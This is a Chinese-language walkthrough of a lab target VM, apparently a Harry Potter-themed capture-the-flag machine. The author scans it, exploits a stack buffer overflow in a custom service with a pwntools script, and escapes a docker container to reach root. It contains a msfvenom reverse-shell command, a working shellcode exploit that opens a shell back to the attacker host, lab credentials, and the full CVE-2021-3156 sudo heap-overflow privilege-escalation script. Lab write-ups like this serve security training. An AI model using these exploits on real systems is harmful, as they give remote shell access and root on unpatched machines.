# 前言
知道 docker 这个小东西的优点后,我一直在想,如果我将环境部署到 docker 中是不是就很安全,但是哪有绝对的安全,docker 逃逸?
# 靶机描述
难度:高
目标:拿到 root 权限
涉及的攻击方法:
- 主机发现
- 端口扫描
- WEB 信息收集
- FTP 服务攻击
- 缓冲区溢出
- 模糊测试
- 漏洞利用代码编写
- 流量转包分析
- 堆溢出漏洞攻击
- Metasploit(MSF)
- 手动修复 EXP 代码
- 本地提权
虚拟机:
- 格式: 虚拟机 (Virtualbox OVA)
- 操作系统: Linux.
联网:
- DHCP 服务:已启用
- IP 地址自动分配
# 攻击流程
# 信息收集
还是使用 arp-scan 来探测局域网中的存活主机,接着使用 nmap 来探测湍口和协议
这里 21 端口是一个 vsftpd 服务,版本是 3.0.3,端口 22 是一个 OpenSSH 服务版本是 7.9,80 是一个 Apache2.4.38 的 httpd 服务,2222 端口同样也是一个 OpenSSH 的服务,不过版本与上面的 22 端口不太一样,9898 是一个 tcpwrapped 服务,使用一个 - sC 参数进一步探测
还真有新的发现,这里可以看到可以 21 端口的 ftp 是可以匿名登录的,这里还探测出来了一个文件,其他的就没有什么很有用的信息了,这里去匿名登录看一下
确实是有这样一个文件,先将其 down 下来
这里也就没有别的什么有用的信息了,接下来使用浏览器去看一下 80 端口上的信息
这个页面就一张哈利波特的图片(图不错,我偷走了😻),源码中也没有发现什么有用的信息
使用 dirseach 扫描一下目录
也没有很有价值的东西
# 漏洞利用
将目光放回到刚 down 下来的文件上
发现这里是一个 elf 文件,说实话看到这个东西我很头疼,先给一个运行的权限运行起来看一下
使用 ps 和 ss 命令去查看一下,这个 elf 文件运行后有没有建立进程有没有开放端口
可以看到,进程是建立了的,这里还开放了 9898 端口,开始端口扫描的时候,也是这个端口,看来靶机上的端口运行的也是这个服务,用 nc 连接上验证一下
目标靶机上的
本地上的
看来突破口一个应该就是这里了,这里使用 kali 自带的工具 ebd 去调试一下
我直接在这里填充 500 个 A 后
这里可以看见 EIP 和 ESP 都被填充为 A,EIP 存放下一条指令的地址,ESP 存放具体的代码,现在的思路就是将代码覆盖到 ESP,然后通过 EIP 跳转到 ESP
接下来确定一下,哪些数据被填充到 EIP 和 ESP 中,这里使用这个工具来生成一段序列
重新填充数据
可以看到覆盖到 EIP 的是 64413764,ESP 的是 8Ad9 后面的字符串
这里可以看到偏移量是 112,再生成一个 payload 来验证一下
如果偏移量正确,EIP 应该是 BBBB
可以看到可以确定覆盖的位置
这里找到了一个从 ESP 跳转到 EIP 并且是有课执行权限的指令
这里可以看见,有一个 jmp 指令可以跳转到 esp,用这个内存地址覆盖到 EIP 就可以跳转到 ESP,这里还需要找一下,哪些字符能覆盖到 ESP
覆盖到 EIP 的内容实际上是 dA7d,也就是说后面紧接着就是覆盖 ESP 的内容
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.13.249 LPORT=4444 -b "\x00" -f py |
先通过 msfvenom 工具生成一个反弹的 shell 的 payload
from pwn import * | |
p = remote('192.168.13.193',9898) | |
buf = "" | |
buf += "\xbf\x64\x7f\x5a\x36\xda\xc6\xd9\x74\x24\xf4\x5d\x29" | |
buf += "\xc9\xb1\x12\x31\x7d\x12\x03\x7d\x12\x83\x89\x83\xb8" | |
buf += "\xc3\x60\xa7\xca\xcf\xd1\x14\x66\x7a\xd7\x13\x69\xca" | |
buf += "\xb1\xee\xea\xb8\x64\x41\xd5\x73\x16\xe8\x53\x75\x7e" | |
buf += "\x2b\x0b\x88\x87\xc3\x4e\x93\x66\x48\xc6\x72\x38\x16" | |
buf += "\x88\x25\x6b\x64\x2b\x4f\x6a\x47\xac\x1d\x04\x36\x82" | |
buf += "\xd2\xbc\xae\xf3\x3b\x5e\x46\x85\xa7\xcc\xcb\x1c\xc6" | |
buf += "\x40\xe0\xd3\x89" | |
payload = 'A'*112+'\x55\x9d\x04\x08'+'\x90'*64+buf | |
p.send(payload) | |
p.close() |
这里就成功拿到了一个 harry 用户的 shell
# 进一步信息收集
这里老规矩去 home 目录看一下
这里看到有一个 mycreds 文件,这里打开看一下,发现像是一个密码
HarrYp0tter@Hogwarts123
这里尝试用 ssh 登录,发现 22 端口不行,但是 2222 端口是可以的
但是在信息收集想要提权的过程中我发现,这只是一个 docker 容器
也还是先提权这里发现 sudo 配置缺陷
提权后
在 root 目录看到两个文件,这里也是去看了一下
we have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user. |
# 流量分析
因为靶机没有 Wireshark 工具,所以这里使用原始的 tcpdump
这里拿到一组用户名密码,接着去尝试在各个地方登录
neville | |
bL!Bsg3k |
最后发现,这组用户密码是 neville 在 22 端口上的 ssh 密码
这里看了一下,发现这里终于不是一个 docker 容器了
# 提权
漏洞公告 | Linux sudo 权限漏洞(CVE-2021-3156) (aliyun.com) 这里利用的是这样的一个漏洞
这里根据文章中对应的环境测试,发现版本是能够对应上的,而且没有打补丁
#!/usr/bin/python3 | |
''' | |
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya | |
This exploit requires: | |
- glibc with tcache | |
- nscd service is not running | |
Tested on: | |
- Ubuntu 18.04 | |
- Ubuntu 20.04 | |
- Debian 10 | |
- CentOS 8 | |
''' | |
import os | |
import subprocess | |
import sys | |
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p | |
SUDO_PATH = b"/usr/local/bin/sudo" | |
libc = cdll.LoadLibrary("libc.so.6") | |
# don't use LC_ALL (6). it override other LC_ | |
LC_CATS = [ | |
b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY", | |
b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS", | |
b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION" | |
] | |
def check_is_vuln(): | |
# below commands has no log because it is invalid argument for both patched and unpatched version | |
# patched version, error because of '-s' argument | |
# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment | |
r, w = os.pipe() | |
pid = os.fork() | |
if not pid: | |
# child | |
os.dup2(w, 2) | |
execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ]) | |
exit(0) | |
# parent | |
os.close(w) | |
os.waitpid(pid, 0) | |
r = os.fdopen(r, 'r') | |
err = r.read() | |
r.close() | |
if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err: | |
return True | |
assert err.startswith('usage: ') or "invalid mode flags " in err, err | |
return False | |
def create_libx(name): | |
so_path = 'libnss_'+name+'.so.2' | |
if os.path.isfile(so_path): | |
return # existed | |
so_dir = 'libnss_' + name.split('/')[0] | |
if not os.path.exists(so_dir): | |
os.makedirs(so_dir) | |
import zlib | |
import base64 | |
libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' | |
with open(so_path, 'wb') as f: | |
f.write(zlib.decompress(base64.b64decode(libx_b64))) | |
#os.chmod(so_path, 0o755) | |
def check_nscd_condition(): | |
if not os.path.exists('/var/run/nscd/socket'): | |
return True # no socket. no service | |
# try connect | |
import socket | |
sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) | |
try: | |
sk.connect('/var/run/nscd/socket') | |
except: | |
return True | |
else: | |
sk.close() | |
with open('/etc/nscd.conf', 'r') as f: | |
for line in f: | |
line = line.strip() | |
if not line.startswith('enable-cache'): | |
continue # comment | |
service, enable = line.split()[1:] | |
# in fact, if only passwd is enabled, exploit with this method is still possible (need test) | |
# I think no one enable passwd but disable group | |
if service == 'passwd' and enable == 'yes': | |
return False | |
# group MUST be disabled to exploit sudo with nss_load_library() trick | |
if service == 'group' and enable == 'yes': | |
return False | |
return True | |
def get_libc_version(): | |
output = subprocess.check_output(['ldd', '--version'], universal_newlines=True) | |
for line in output.split('\n'): | |
if line.startswith('ldd '): | |
ver_txt = line.rsplit(' ', 1)[1] | |
return list(map(int, ver_txt.split('.'))) | |
return None | |
def check_libc_version(): | |
version = get_libc_version() | |
assert version, "Cannot detect libc version" | |
# this exploit only works which glibc tcache (added in 2.26) | |
return version[0] >= 2 and version[1] >= 26 | |
def check_libc_tcache(): | |
libc.malloc.argtypes = (c_int,) | |
libc.malloc.restype = c_void_p | |
libc.free.argtypes = (c_void_p,) | |
# small bin or tcache | |
size1, size2 = 0xd0, 0xc0 | |
mems = [0]*32 | |
# consume all size2 chunks | |
for i in range(len(mems)): | |
mems[i] = libc.malloc(size2) | |
mem1 = libc.malloc(size1) | |
libc.free(mem1) | |
mem2 = libc.malloc(size2) | |
libc.free(mem2) | |
for addr in mems: | |
libc.free(addr) | |
return mem1 != mem2 | |
def get_service_user_idx(): | |
'''Parse /etc/nsswitch.conf to find a group entry index | |
''' | |
idx = 0 | |
found = False | |
with open('/etc/nsswitch.conf', 'r') as f: | |
for line in f: | |
if line.startswith('#'): | |
continue # comment | |
line = line.strip() | |
if not line: | |
continue # empty line | |
words = line.split() | |
if words[0] == 'group:': | |
found = True | |
break | |
for word in words[1:]: | |
if word[0] != '[': | |
idx += 1 | |
assert found, '"group" database is not found. might be exploitable but no test' | |
return idx | |
def get_extra_chunk_count(target_chunk_size): | |
# service_user are allocated by calling getpwuid() | |
# so we don't care allocation of chunk size 0x40 after getpwuid() | |
# there are many string that size can be varied | |
# here is the most common | |
chunk_cnt = 0 | |
# get_user_info() -> get_user_groups() -> | |
gids = os.getgroups() | |
malloc_size = len("groups=") + len(gids) * 11 | |
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care here | |
if chunk_size == target_chunk_size: chunk_cnt += 1 | |
# host=<hostname> (unlikely) | |
# get_user_info() -> sudo_gethostname() | |
import socket | |
malloc_size = len("host=") + len(socket.gethostname()) + 1 | |
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 | |
if chunk_size == target_chunk_size: chunk_cnt += 1 | |
# simply parse "networks=" from "ip addr" command output | |
# another workaround is bruteforcing with number of 0x70 | |
# policy_open() -> format_plugin_settings() -> | |
# a value is created from "parse_args() -> get_net_ifs()" with very large buffer | |
try: | |
import ipaddress | |
except: | |
return chunk_cnt | |
cnt = 0 | |
malloc_size = 0 | |
proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) | |
for line in proc.stdout: | |
line = line.strip() | |
if not line.startswith('inet'): | |
continue | |
if cnt < 2: # skip first 2 address (lo interface) | |
cnt += 1 | |
continue; | |
addr = line.split(' ', 2)[1] | |
mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask) | |
malloc_size += addr.index('/') + 1 + len(mask) | |
cnt += 1 | |
malloc_size += len("network_addrs=") + cnt - 3 + 1 | |
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 | |
if chunk_size == target_chunk_size: chunk_cnt += 1 | |
proc.wait() | |
return chunk_cnt | |
def execve(filename, argv, envp): | |
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) | |
cargv = (c_char_p * len(argv))(*argv) | |
cenvp = (c_char_p * len(envp))(*envp) | |
libc.execve(filename, cargv, cenvp) | |
def lc_env(cat_id, chunk_len): | |
name = b"C.UTF-8@" | |
name = name.ljust(chunk_len - 0x18, b'Z') | |
return LC_CATS[cat_id]+b"="+name | |
assert check_is_vuln(), "target is patched" | |
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26" | |
assert check_libc_tcache(), "glibc tcache is not found" | |
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method" | |
service_user_idx = get_service_user_idx() | |
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx | |
create_libx("X/X1234") | |
# Note: actions[5] can be any value. library and known MUST be NULL | |
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ] | |
TARGET_OFFSET_START = 0x780 | |
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30 | |
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwritten | |
CHUNK_CMND_SIZE = 0xf0 | |
# Allow custom extra_chunk_cnt incase unexpected allocation | |
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0 | |
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1]) | |
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ] | |
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE | |
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd) | |
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ]) | |
# add free chunks that created before target service_user | |
for i in range(2, service_user_idx+2): | |
# skip LC_ALL (6) | |
env.append(lc_env(i if i < 6 else i+1, 0x40)) | |
if service_user_idx == 0: | |
env.append(lc_env(2, 0x20)) # for filling hole | |
for i in range(11, 11-extra_chunk_cnt, -1): | |
env.append(lc_env(i, CHUNK_CMND_SIZE)) | |
env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer | |
env.append(b"TZ=:") # shortcut tzset function | |
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault | |
env.append(None) | |
execve(SUDO_PATH, argv, env) |
在网上找了这样一个利用脚本
这样就结束了